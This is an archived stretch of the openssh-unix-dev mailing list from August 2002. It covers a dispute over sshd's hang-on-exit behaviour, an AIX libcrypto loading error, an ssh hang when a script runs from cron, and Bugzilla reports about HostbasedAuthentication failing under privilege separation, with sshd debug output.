for the individual named.  If you are not the named addressee you 
should not disseminate, distribute or copy this e-mail.  Please 
notify the sender immediately by e-mail if you have received this 
e-mail by mistake and delete this e-mail from your system.

E-mail transmission cannot be guaranteed to be secure or error-free 
as information could be intercepted, corrupted, lost, destroyed, 
arrive late or incomplete, or contain viruses.  The sender therefore 
does not accept liability for any errors or omissions in the contents 
of this message which arise as a result of e-mail transmission.  If 
verification is required please request a hard-copy version.  This 
message is provided for informational purposes and should not be 
construed as a solicitation or offer to buy or sell any securities or 
related financial instruments.



From Nicolas.Williams at ubsw.com  Thu Aug  8 01:57:38 2002
From: Nicolas.Williams at ubsw.com (Nicolas.Williams at ubsw.com)
Date: Wed, 7 Aug 2002 11:57:38 -0400
Subject: so called hang-on-exit bug
Message-ID: <BF5F3FE870FB5C4B89BC1A1FBC76778C0A1084@NSTMC004PEX1.ubsgs.ubsgroup.net>

I expect private e-mail to stay private. Particularly if I'm
helping someone who I'm not required to help. It seems that you
think that I'm obligated to you.

You fail to understand that the behaviour you want is at odds
with the behaviour others may want and it may be hard to faithfully
emulate the *BSD behaviour on Linux/Solaris. I suggest that you
file a bug report with Sun, RedHat and the other Linux vendors, or
with the LKML directly - perhaps they'll respond sooner to your
needs than this list.

Cheers,

Nico
-- 

> -----Original Message-----
> From: Michael Robinton [mailto:michael at bizsystems.com]
> Sent: Wednesday, August 07, 2002 11:31 AM
> To: openssh-unix-dev at mindrot.org
> Subject: Re: so called hang-on-exit bug
> 
> 
> >
> > Yes, you can "police" these things as a sysadmin. How? Use
> > /usr/proc/bin/ptree, ps, lsof and what not to find all sshd
> > processes and their associated ptys - the sshds that have no
> > children processes but whose master pty's slave pty still has
> > processes associated with said pty, those are the sshds that must be
> > killed in order to clean up (or you could kill -HUP the background
> > processes).
> 
> sure, that's real practical. I just log on to each system 
> every hour or
> so and take a look :-) That's a real time saver NOT! The whole idea of
> using OS's that don't crash and are able to run unattended 
> for more than a
> day is to avoid this kind of problem. If I wanted to do 
> contstant needless
> maintenance I could run Windoze servers instead of *nix. Are you
> advocating writing software ala "the gates way" ??? i.e. damn the user
> community, let's write it our way???
> 
> 
> >
> > As for the underlying issue, folk are clearly discussing ways to
> > address it - you should be a little more patient and a little more
> > grateful. After all, we could all just ignore you (I am not part of
> > the OpenSSH team - I'm participating out of enlightened
> > self-interest).
> >
> 
> I've been very patient. If you check the archives, this issue has
> been brought up over and over again as a bug -- and -- discussed at
> length and ignored again with the same justification for a year
> or more. I am simply pointing out once again the flaw in the reasoning
> that "not a single byte of data must be lost" even when 
> termination has
> been explicitly requested. It is not productive to simply ignore
> "reported bugs" in a program. The issue is not really whether or not
> it is a bug for the terminal window to hang. I laud the "intent" of
> the developers in trying to preserve data integretity, the reasoning
> is sound. However, the practical aspect of that is a consumption
> of resources on the server that is untenable from an administrative
> standpoint. At some point, real world needs must overide 
> academic purity.
> I have no objection whatsoever to someone else running a 
> system that (I
> won't use the word "hang") --- preserves data that might be 
> lost during a
> disconnect of a session. Our systems need to have the process 
> tables free
> of zombie sshd's and our users need their terminal windows and client
> scripts to terminate without having to examine and test EVERY piece of
> software they use on a remote system whether they wrote it or 
> not. To not
> do this is impractical. To be a user friendly piece of 
> software in my view
> it is necessary for the ssh suite to provide, at a minimum, a 
> configurable
> option for sshd to terminate on request without regard to data loss.
> 
> Every time someone posts a justification as to why hanging a process
> when a termination has been requested, they must consider the needs of
> real world users once again. I'm afraid in the absence of 
> other voices, I
> will post that reminder.
> 
> Michael
> 
> 
> > Cheers,
> >
> > Nico
> > --
> >
> > > -----Original Message-----
> > > From: Michael Robinton [mailto:michael at bizsystems.com]
> > > Sent: Tuesday, August 06, 2002 7:53 PM
> > > To: openssh-unix-dev at mindrot.org
> > > Subject: (no subject)
> > >
> > >
> > > > On Tuesday, August 06, Michael Robinton wrote:
> > > > > Make it an option that can be set in both sshd-config and
> > > > > ssh-config so
> > > > > that both client and server operators have the choice to
> > > > > never lose data
> > > > > or to always disconnect, damn the data, full speed ahead :-)
> > > >
> > > > You can't make it a client-side option if it's 
> implemented on the
> > > > server side without extending the SSHv2 protocol [by 
> adding a new
> > > > channel request type].
> > > >
> > > > So now you're saying you'd be happy with a client-side 
> option (which
> > > > you'd default a particular way, and I another, in ssh_config).
> > > >
> > > > So you've come around to my position :)
> > > >
> > > > Q.E.D.,
> > > >
> > > > Nico
> > > > --
> > >
> > > not really sigh..... What I would like is to NOT find hung
> > > sshd processes
> > > on our servers that have been started by users that can't
> > > figure out how
> > > to properly close the session, or by scripts trying to 
> run brain dead
> > > daemons. From a sysadmin's viewpoint, it is impossible to
> > > police all of
> > > this. The only practical solution is to be able to set sshd
> > > to disconnect
> > > unconditionally when asked. The "client" side option 
> should enable the
> > > "no data loss" for users that really know what they are 
> doing and are
> > > capable of figuring out that their process hung for some 
> reason AND
> > > take corrective action to clear the process.
> > >
> > > Michael
> > >
> > > _______________________________________________
> > > openssh-unix-dev at mindrot.org mailing list
> > > http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> > >
> >
> 
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> 

Visit our website at http://www.ubswarburg.com

This message contains confidential information and is intended only 
for the individual named.  If you are not the named addressee you 
should not disseminate, distribute or copy this e-mail.  Please 
notify the sender immediately by e-mail if you have received this 
e-mail by mistake and delete this e-mail from your system.

E-mail transmission cannot be guaranteed to be secure or error-free 
as information could be intercepted, corrupted, lost, destroyed, 
arrive late or incomplete, or contain viruses.  The sender therefore 
does not accept liability for any errors or omissions in the contents 
of this message which arise as a result of e-mail transmission.  If 
verification is required please request a hard-copy version.  This 
message is provided for informational purposes and should not be 
construed as a solicitation or offer to buy or sell any securities or 
related financial instruments.



From egarff at omniture.com  Thu Aug  8 02:11:15 2002
From: egarff at omniture.com (Eric Garff)
Date: 07 Aug 2002 10:11:15 -0600
Subject: Unrelated (was RE: so-called-hang-on-exit)
In-Reply-To: 
	<BF5F3FE870FB5C4B89BC1A1FBC76778C08EC0F@NSTMC004PEX1.ubsgs.ubsgroup.net>
References: 
	<BF5F3FE870FB5C4B89BC1A1FBC76778C08EC0F@NSTMC004PEX1.ubsgs.ubsgroup.net>
Message-ID: <1028736675.28564.6.camel@egarff.superstats.com>

Sadly, no such luck.  I need the output, now when I run it by hand the
script hangs because it doesn't get any output whatsoever.  Thanks for
the suggestion all the same.

On Wed, 2002-08-07 at 09:51, Nicolas.Williams at ubsw.com wrote:
> 
> Add -n to the ssh command line - see if that fixes it.
> 
> Nico
> -- 
> 
> > -----Original Message-----
> > From: Eric Garff [mailto:egarff at omniture.com]
> > Sent: Wednesday, August 07, 2002 11:15 AM
> > To: openssh-unix-dev at mindrot.org
> > Subject: Re: so-called-hang-on-exit
> > 
> > 
> > That may be, but it only "hangs" when run from cron, if I run it
> > manually it executes fine, could cron be causing the "hang".  
> > Also, if I
> > used Protocol 1 it completes normally.
> > 
> > On Tue, 2002-08-06 at 18:13, Frank Cusack wrote:
> > > On Tue, Aug 06, 2002 at 02:32:33PM -0600, Eric Garff wrote:
> > > > This isn't an actual reply to any one person, but here is 
> > my experience:
> > > > 
> > > > I have tested both the patches by Jani Jaakkol and Frank 
> > Cusack (Frank's
> > > > I tried both the pty and non-pty changes).  I still get 
> > the hang, here
> > > > is my setup.
> > > > 
> > > > This is entered as a cronjob on one server to run every 
> > 15 minutes:
> > > > 
> > > > /home/httpd/bin/cache/glb/gTest 
> > >>/home/httpd/bin/cache/glb/gTest.log
> > > > 2>>/home/httpd/bin/cache/glb/gTest.log
> > > > 
> > > >   here are the guts of the script:
> > > > 	/usr/local/bin/ssh hostname /bin/ls /some/dir | /usr/bin/wc -l ;
> > > > /bin/ls /some/other/dir | /usr/bin/wc -l ; /bin/ls 
> > /some/other/dir |
> > > > /usr/bin/wc -l"
> > > > 
> > > > The script is actually a php script that does a number of 
> > other things
> > > > before it executes the ssh (database to grab hostnames, 
> > etc.), but that
> > > > is how the ssh portion pans out.  After executing the 
> > command it then
> > > > starts a 20 second timer, and if the ssh session is still 
> > alive, it
> > > > kills it.  Also, if I run the script by hand (not crond) 
> > it completes
> > > > just fine (no hang).
> > > > 
> > > > Any ideas?  Your time is MUCH appreciated.
> > > 
> > > You're doing something wrong.  Your ssh command is not an example of
> > > the hang-on-exit problem.
> > > 
> > > /fc
> > -- 
> > Eric Garff
> > System Administrator
> > egarff at omniture.com
> > 801.722.0134
> > 
> > Omniture
> > http://www.omniture.com
> > "Unique Questions, Precise Answers"
> > _______________________________________________
> > openssh-unix-dev at mindrot.org mailing list
> > http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> > 
> 
> Visit our website at http://www.ubswarburg.com
> 
> This message contains confidential information and is intended only 
> for the individual named.  If you are not the named addressee you 
> should not disseminate, distribute or copy this e-mail.  Please 
> notify the sender immediately by e-mail if you have received this 
> e-mail by mistake and delete this e-mail from your system.
> 
> E-mail transmission cannot be guaranteed to be secure or error-free 
> as information could be intercepted, corrupted, lost, destroyed, 
> arrive late or incomplete, or contain viruses.  The sender therefore 
> does not accept liability for any errors or omissions in the contents 
> of this message which arise as a result of e-mail transmission.  If 
> verification is required please request a hard-copy version.  This 
> message is provided for informational purposes and should not be 
> construed as a solicitation or offer to buy or sell any securities or 
> related financial instruments.
-- 
Eric Garff
System Administrator
egarff at omniture.com
801.722.0134

Omniture
http://www.omniture.com
"Unique Questions, Precise Answers"


From michael at bizsystems.com  Thu Aug  8 02:32:40 2002
From: michael at bizsystems.com (Michael Robinton)
Date: Wed, 7 Aug 2002 09:32:40 -0700 (PDT)
Subject: Subject:          RE: so called hang-on-exit bug
Message-ID: <Pine.LNX.4.33.0208070925370.1655-100000@pandora.is.bizsystems.com>

My apologies Nico, I overlooked the fact that your post was not to the
list since most I receive are cc'd to me. You have my sincere apology for
the public re-posting of your private comments.

>
> I expect private e-mail to stay private. Particularly if I'm
> helping someone who I'm not required to help. It seems that you
> think that I'm obligated to you.
>

I have no illusion that anyone is obligated to me or anyone else in the
user community. I do open source development as well, just not for the ssh
project so I do have some insight into the other side of things. I have a
real interest in seeing opensource do well in all areas and I believe that
ssh is a significant contribution. I'd just like it to be a little more
user friendly. I don't want to beat a dead horse so I'll just shut up for
a while.

Michael

> You fail to understand that the behaviour you want is at odds
> with the behaviour others may want and it may be hard to faithfully
> emulate the *BSD behaviour on Linux/Solaris. I suggest that you file
> a bug report with Sun, RedHat and the other Linux vendors, or with
> the LKML directly - perhaps they'll respond sooner to your needs
> than this list.
>
> Cheers,
>
> Nico
> --
>
> > -----Original Message-----
> > From: Michael Robinton [mailto:michael at bizsystems.com]
> > Sent: Wednesday, August 07, 2002 11:31 AM
> > To: openssh-unix-dev at mindrot.org
> > Subject: Re: so called hang-on-exit bug
> >
> >
> > >
> > > Yes, you can "police" these things as a sysadmin. How? Use
> > > /usr/proc/bin/ptree, ps, lsof and what not to find all sshd
> > > processes and their associated ptys - the sshds that have no
> > > children processes but whose master pty's slave pty still has
> > > processes associated with said pty, those are the sshds that must be
> > > killed in order to clean up (or you could kill -HUP the background
> > > processes).
> >
> > sure, that's real practical. I just log on to each system
> > every hour or
> > so and take a look :-) That's a real time saver NOT! The whole idea of
> > using OS's that don't crash and are able to run unattended
> > for more than a
> > day is to avoid this kind of problem. If I wanted to do
> > contstant needless
> > maintenance I could run Windoze servers instead of *nix. Are you
> > advocating writing software ala "the gates way" ??? i.e. damn the user
> > community, let's write it our way???
> >
> >
> > >
> > > As for the underlying issue, folk are clearly discussing ways to
> > > address it - you should be a little more patient and a little more
> > > grateful. After all, we could all just ignore you (I am not part of
> > > the OpenSSH team - I'm participating out of enlightened
> > > self-interest).
> > >
> >
> > I've been very patient. If you check the archives, this issue has
> > been brought up over and over again as a bug -- and -- discussed at
> > length and ignored again with the same justification for a year
> > or more. I am simply pointing out once again the flaw in the reasoning
> > that "not a single byte of data must be lost" even when
> > termination has
> > been explicitly requested. It is not productive to simply ignore
> > "reported bugs" in a program. The issue is not really whether or not
> > it is a bug for the terminal window to hang. I laud the "intent" of
> > the developers in trying to preserve data integretity, the reasoning
> > is sound. However, the practical aspect of that is a consumption
> > of resources on the server that is untenable from an administrative
> > standpoint. At some point, real world needs must overide
> > academic purity.
> > I have no objection whatsoever to someone else running a
> > system that (I
> > won't use the word "hang") --- preserves data that might be
> > lost during a
> > disconnect of a session. Our systems need to have the process
> > tables free
> > of zombie sshd's and our users need their terminal windows and client
> > scripts to terminate without having to examine and test EVERY piece of
> > software they use on a remote system whether they wrote it or
> > not. To not
> > do this is impractical. To be a user friendly piece of
> > software in my view
> > it is necessary for the ssh suite to provide, at a minimum, a
> > configurable
> > option for sshd to terminate on request without regard to data loss.
> >
> > Every time someone posts a justification as to why hanging a process
> > when a termination has been requested, they must consider the needs of
> > real world users once again. I'm afraid in the absence of
> > other voices, I
> > will post that reminder.
> >
> > Michael
> >
> >
> > > Cheers,
> > >
> > > Nico
> > > --
> > >
> > > > -----Original Message-----
> > > > From: Michael Robinton [mailto:michael at bizsystems.com]
> > > > Sent: Tuesday, August 06, 2002 7:53 PM
> > > > To: openssh-unix-dev at mindrot.org
> > > > Subject: (no subject)
> > > >
> > > >
> > > > > On Tuesday, August 06, Michael Robinton wrote:
> > > > > > Make it an option that can be set in both sshd-config and
> > > > > > ssh-config so
> > > > > > that both client and server operators have the choice to
> > > > > > never lose data
> > > > > > or to always disconnect, damn the data, full speed ahead :-)
> > > > >
> > > > > You can't make it a client-side option if it's
> > implemented on the
> > > > > server side without extending the SSHv2 protocol [by
> > adding a new
> > > > > channel request type].
> > > > >
> > > > > So now you're saying you'd be happy with a client-side
> > option (which
> > > > > you'd default a particular way, and I another, in ssh_config).
> > > > >
> > > > > So you've come around to my position :)
> > > > >
> > > > > Q.E.D.,
> > > > >
> > > > > Nico
> > > > > --
> > > >
> > > > not really sigh..... What I would like is to NOT find hung
> > > > sshd processes
> > > > on our servers that have been started by users that can't
> > > > figure out how
> > > > to properly close the session, or by scripts trying to
> > run brain dead
> > > > daemons. From a sysadmin's viewpoint, it is impossible to
> > > > police all of
> > > > this. The only practical solution is to be able to set sshd
> > > > to disconnect
> > > > unconditionally when asked. The "client" side option
> > should enable the
> > > > "no data loss" for users that really know what they are
> > doing and are
> > > > capable of figuring out that their process hung for some
> > reason AND
> > > > take corrective action to clear the process.
> > > >
> > > > Michael
> > > >
> > > > _______________________________________________
> > > > openssh-unix-dev at mindrot.org mailing list
> > > > http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> > > >
> > >
> >
> > _______________________________________________
> > openssh-unix-dev at mindrot.org mailing list
> > http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> >
>



From bugzilla-daemon at mindrot.org  Thu Aug  8 03:06:41 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Thu,  8 Aug 2002 03:06:41 +1000 (EST)
Subject: [Bug 376] HostbasedAuthentication, followed snailbook but not working! :-(
Message-ID: <20020807170641.03F1F3D262@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=376

rlebar at erac.com changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
             Status|NEW                         |RESOLVED
         Resolution|                            |INVALID
            Summary|HostbasedAuthentication,    |HostbasedAuthentication,
                   |followed snailbook but not  |followed snailbook but not
                   |working! :-(                |working! :-(



------- Additional Comments From rlebar at erac.com  2002-08-08 03:06 -------
Never mind. I needed to put shosts.equiv in /opt/erac/etc.



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From Nicolas.Williams at ubsw.com  Thu Aug  8 03:17:44 2002
From: Nicolas.Williams at ubsw.com (Nicolas.Williams at ubsw.com)
Date: Wed, 7 Aug 2002 13:17:44 -0400
Subject: Unrelated (was RE: so-called-hang-on-exit)
Message-ID: <BF5F3FE870FB5C4B89BC1A1FBC76778C08EC11@NSTMC004PEX1.ubsgs.ubsgroup.net>

"ssh -n ..." means ssh will close stdin and open /dev/null for stdin. It does not mean losing th eoutput of ssh.

Nico
-- 

> -----Original Message-----
> From: Eric Garff [mailto:egarff at omniture.com]
> Sent: Wednesday, August 07, 2002 12:11 PM
> To: openssh-unix-dev at mindrot.org
> Subject: Re: Unrelated (was RE: so-called-hang-on-exit)
> 
> 
> Sadly, no such luck.  I need the output, now when I run it by hand the
> script hangs because it doesn't get any output whatsoever.  Thanks for
> the suggestion all the same.
> 
> On Wed, 2002-08-07 at 09:51, Nicolas.Williams at ubsw.com wrote:
> > 
> > Add -n to the ssh command line - see if that fixes it.
> > 
> > Nico
> > -- 
> > 
> > > -----Original Message-----
> > > From: Eric Garff [mailto:egarff at omniture.com]
> > > Sent: Wednesday, August 07, 2002 11:15 AM
> > > To: openssh-unix-dev at mindrot.org
> > > Subject: Re: so-called-hang-on-exit
> > > 
> > > 
> > > That may be, but it only "hangs" when run from cron, if I run it
> > > manually it executes fine, could cron be causing the "hang".  
> > > Also, if I
> > > used Protocol 1 it completes normally.
> > > 
> > > On Tue, 2002-08-06 at 18:13, Frank Cusack wrote:
> > > > On Tue, Aug 06, 2002 at 02:32:33PM -0600, Eric Garff wrote:
> > > > > This isn't an actual reply to any one person, but here is 
> > > my experience:
> > > > > 
> > > > > I have tested both the patches by Jani Jaakkol and Frank 
> > > Cusack (Frank's
> > > > > I tried both the pty and non-pty changes).  I still get 
> > > the hang, here
> > > > > is my setup.
> > > > > 
> > > > > This is entered as a cronjob on one server to run every 
> > > 15 minutes:
> > > > > 
> > > > > /home/httpd/bin/cache/glb/gTest 
> > > >>/home/httpd/bin/cache/glb/gTest.log
> > > > > 2>>/home/httpd/bin/cache/glb/gTest.log
> > > > > 
> > > > >   here are the guts of the script:
> > > > > 	/usr/local/bin/ssh hostname /bin/ls /some/dir | 
> /usr/bin/wc -l ;
> > > > > /bin/ls /some/other/dir | /usr/bin/wc -l ; /bin/ls 
> > > /some/other/dir |
> > > > > /usr/bin/wc -l"
> > > > > 
> > > > > The script is actually a php script that does a number of 
> > > other things
> > > > > before it executes the ssh (database to grab hostnames, 
> > > etc.), but that
> > > > > is how the ssh portion pans out.  After executing the 
> > > command it then
> > > > > starts a 20 second timer, and if the ssh session is still 
> > > alive, it
> > > > > kills it.  Also, if I run the script by hand (not crond) 
> > > it completes
> > > > > just fine (no hang).
> > > > > 
> > > > > Any ideas?  Your time is MUCH appreciated.
> > > > 
> > > > You're doing something wrong.  Your ssh command is not 
> an example of
> > > > the hang-on-exit problem.
> > > > 
> > > > /fc
> > > -- 
> > > Eric Garff
> > > System Administrator
> > > egarff at omniture.com
> > > 801.722.0134
> > > 
> > > Omniture
> > > http://www.omniture.com
> > > "Unique Questions, Precise Answers"
> > > _______________________________________________
> > > openssh-unix-dev at mindrot.org mailing list
> > > http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> > > 
> > 
> > Visit our website at http://www.ubswarburg.com
> > 
> > This message contains confidential information and is intended only 
> > for the individual named.  If you are not the named addressee you 
> > should not disseminate, distribute or copy this e-mail.  Please 
> > notify the sender immediately by e-mail if you have received this 
> > e-mail by mistake and delete this e-mail from your system.
> > 
> > E-mail transmission cannot be guaranteed to be secure or error-free 
> > as information could be intercepted, corrupted, lost, destroyed, 
> > arrive late or incomplete, or contain viruses.  The sender 
> therefore 
> > does not accept liability for any errors or omissions in 
> the contents 
> > of this message which arise as a result of e-mail transmission.  If 
> > verification is required please request a hard-copy version.  This 
> > message is provided for informational purposes and should not be 
> > construed as a solicitation or offer to buy or sell any 
> securities or 
> > related financial instruments.
> -- 
> Eric Garff
> System Administrator
> egarff at omniture.com
> 801.722.0134
> 
> Omniture
> http://www.omniture.com
> "Unique Questions, Precise Answers"
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> 

Visit our website at http://www.ubswarburg.com

This message contains confidential information and is intended only 
for the individual named.  If you are not the named addressee you 
should not disseminate, distribute or copy this e-mail.  Please 
notify the sender immediately by e-mail if you have received this 
e-mail by mistake and delete this e-mail from your system.

E-mail transmission cannot be guaranteed to be secure or error-free 
as information could be intercepted, corrupted, lost, destroyed, 
arrive late or incomplete, or contain viruses.  The sender therefore 
does not accept liability for any errors or omissions in the contents 
of this message which arise as a result of e-mail transmission.  If 
verification is required please request a hard-copy version.  This 
message is provided for informational purposes and should not be 
construed as a solicitation or offer to buy or sell any securities or 
related financial instruments.



From Darren.Moffat at Sun.COM  Thu Aug  8 03:26:51 2002
From: Darren.Moffat at Sun.COM (Darren J Moffat)
Date: Wed, 7 Aug 2002 10:26:51 -0700 (PDT)
Subject: so called hang-on-exit bug
Message-ID: <200208071726.g77HQpmG200414@jurassic.eng.sun.com>

>emulate the *BSD behaviour on Linux/Solaris. I suggest that you
>file a bug report with Sun, RedHat and the other Linux vendors, or
>with the LKML directly - perhaps they'll respond sooner to your
>needs than this list.

For those of you that take Nico's advice and take this up with the
OS vendors.  It will be really helpful to them if you express the
problems in terms of the suggested test program that Nico outlined
in a previous email in this thread.

Do not go to the vendor and say "my sshd hangs on exit on your OS
but doesn't on OpenBSD" all that will happen is you will repeat
the conversations on this list.

What OpenSSH developers need to know is why the behaviour is different.

--
Darren J Moffat



From Maria.Wiese at McKesson.com  Thu Aug  8 03:50:59 2002
From: Maria.Wiese at McKesson.com (Wiese, Maria)
Date: Wed, 7 Aug 2002 10:50:59 -0700
Subject: OpenSSH 34p1 for AIX error. Please help
Message-ID: <23ED36D4661BD51199E000D0B782508D02F807C0@ddce0051.mckesson.com>

I'm trying to install open-ssh 34p1 on an Aix server, running 4.3.3..
I compiled openssh 0.9.6d and zlib 1.1.4.  on the server , and also created
the a bff pancake using the contrib/aix/buildbff.sh script.
I can't start sshd either installing it as a package or without.

When I tried to start sshd I received the following error:
0509-036 Cannot load program /.sshd because of the following errors:
0509-150 Dependent module /usr/local/lib/libcrypto.a/libcrypto.so) could not
be loaded.
 0509-152 Member libcrypto.so is not found in archive

I copied  libcrypto.a, created from compiling  openssl 0.9.6d from
/usr/local/ssl/lib to /usr/local/lib and still had the same error.
Can't find a libcrypto.so anyware on other aix servers. 
I would like to upgrade all aix servers using the package  instead of having
to compile  on each server. 

I have been installing OpenSSH 34p1 on all my solaris servers  via  the
package with no problem.
Not that familiar with AIX.  Some older version of openssh  work on these
servers. 

Does anyone know  how I can solve my problem ?
Also, does the aix package create an /etc/rc startup script for OpenSSH ?

Thanks


Confidentiality Notice: This e-mail message, including any attachments, is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not the intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.





From bugzilla-daemon at mindrot.org  Thu Aug  8 04:03:17 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Thu,  8 Aug 2002 04:03:17 +1000 (EST)
Subject: [Bug 382] New: Privilege Separation breaks HostbasedAuthentication
Message-ID: <20020807180317.9567E3D27B@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=382

           Summary: Privilege Separation breaks HostbasedAuthentication
           Product: Portable OpenSSH
           Version: -current
          Platform: Sparc
        OS/Version: Solaris
            Status: NEW
          Severity: major
          Priority: P2
         Component: sshd
        AssignedTo: openssh-unix-dev at mindrot.org
        ReportedBy: rlebar at erac.com


With privsep disabled (UsePrivilegeSeparation no) HostbasedAuthenticatoin 
works. With it turned on below is what I get from sshd. Note the 
mm_answer_keyverify: bad signature data blob
 near the end. Also note that our OpenSSH is compiled with the config directory 
as /opt/erac/etc.

-----8<-----------------------------------------------------------------

debug3: Seeding PRNG from /opt/erac//libexec/ssh-rand-helper
This platform does not support both privilege separation and compression
Compression disabled
debug1: sshd version OpenSSH_3.4p1
debug3: Not a RSA1 key file /opt/erac/etc/ssh_host_rsa_key.
debug1: read PEM private key done: type RSA
debug1: private host key: #0 type 1 RSA
debug3: Not a RSA1 key file /opt/erac/etc/ssh_host_dsa_key.
debug1: read PEM private key done: type DSA
debug1: private host key: #1 type 2 DSA
debug1: Bind to port 22 on 0.0.0.0.
Server listening on 0.0.0.0 port 22.
debug1: Server will not fork when running in debugging mode.
Connection from 10.49.191.9 port 34890
debug1: Client protocol version 2.0; client software version OpenSSH_3.4p1
debug1: match: OpenSSH_3.4p1 pat OpenSSH*
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.4p1
debug3: privsep user:group 60001:1
debug1: list_hostkey_types: ssh-rsa,ssh-dss
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha1,diffie-hellman-
group1-sha1
debug2: kex_parse_kexinit: ssh-rsa,ssh-dss
debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-
cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-
cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-
ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-
ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: first_kex_follows 0 
debug2: kex_parse_kexinit: reserved 0 
debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha1,diffie-hellman-
group1-sha1
debug2: kex_parse_kexinit: ssh-rsa,ssh-dss
debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-
cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-
cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-
ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-
ripemd160 at openssh.com,hmac-sha1-96,hmac-md5-96
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: 
debug2: kex_parse_kexinit: first_kex_follows 0 
debug2: kex_parse_kexinit: reserved 0 
debug2: mac_init: found hmac-md5
debug1: kex: client->server aes128-cbc hmac-md5 none
debug2: mac_init: found hmac-md5
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
debug3: mm_request_send entering: type 0
debug3: mm_choose_dh: waiting for MONITOR_ANS_MODULI
debug3: mm_request_receive_expect entering: type 1
debug3: mm_request_receive entering
debug2: Network child is on pid 3990
debug3: preauth child monitor started
debug3: mm_request_receive entering
debug3: monitor_read: checking request 0
debug3: mm_answer_moduli: got parameters: 1024 2048 8192
WARNING: /opt/erac/etc/moduli does not exist, using old modulus
debug3: mm_request_send entering: type 1
debug3: mm_choose_dh: remaining 0
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
debug1: dh_gen_key: priv key bits set: 139/256
debug1: bits set: 469/1024
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
debug2: monitor_read: 0 used once, disabling now
debug3: mm_request_receive entering
debug1: bits set: 547/1024
debug3: mm_key_sign entering
debug3: mm_request_send entering: type 4
debug3: mm_key_sign: waiting for MONITOR_ANS_SIGN
debug3: mm_request_receive_expect entering: type 5
debug3: mm_request_receive entering
debug3: monitor_read: checking request 4
debug3: mm_answer_sign
debug3: mm_answer_sign: signature 121938(143)
debug3: mm_request_send entering: type 5
debug2: monitor_read: 4 used once, disabling now
debug3: mm_request_receive entering
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: KEX done
debug1: userauth-request for user rjl01 service ssh-connection method none
debug1: attempt 0 failures 0
debug3: mm_getpwnamallow entering
debug3: mm_request_send entering: type 6
debug3: mm_getpwnamallow: waiting for MONITOR_ANS_PWNAM
debug3: mm_request_receive_expect entering: type 7
debug3: mm_request_receive entering
debug3: monitor_read: checking request 6
debug3: mm_answer_pwnamallow
debug3: mm_answer_pwnamallow: sending MONITOR_ANS_PWNAM: 1
debug3: mm_request_send entering: type 7
debug2: monitor_read: 6 used once, disabling now
debug3: mm_request_receive entering
debug2: input_userauth_request: setting up authctxt for rjl01
debug3: mm_start_pam entering
debug3: mm_request_send entering: type 37
debug3: mm_inform_authserv entering
debug3: mm_request_send entering: type 3
debug2: input_userauth_request: try method none
debug3: mm_auth_password entering
debug3: mm_request_send entering: type 10
debug3: mm_auth_password: waiting for MONITOR_ANS_AUTHPASSWORD
debug3: mm_request_receive_expect entering: type 11
debug3: mm_request_receive entering
debug3: monitor_read: checking request 37
debug1: Starting up PAM with username "rjl01"
debug3: Trying to reverse map address 10.49.191.9.
debug1: PAM setting rhost to "evereska.wan.erac.com"
debug2: monitor_read: 37 used once, disabling now
debug3: mm_request_receive entering
debug3: monitor_read: checking request 3
debug3: mm_answer_authserv: service=ssh-connection, style=
debug2: monitor_read: 3 used once, disabling now
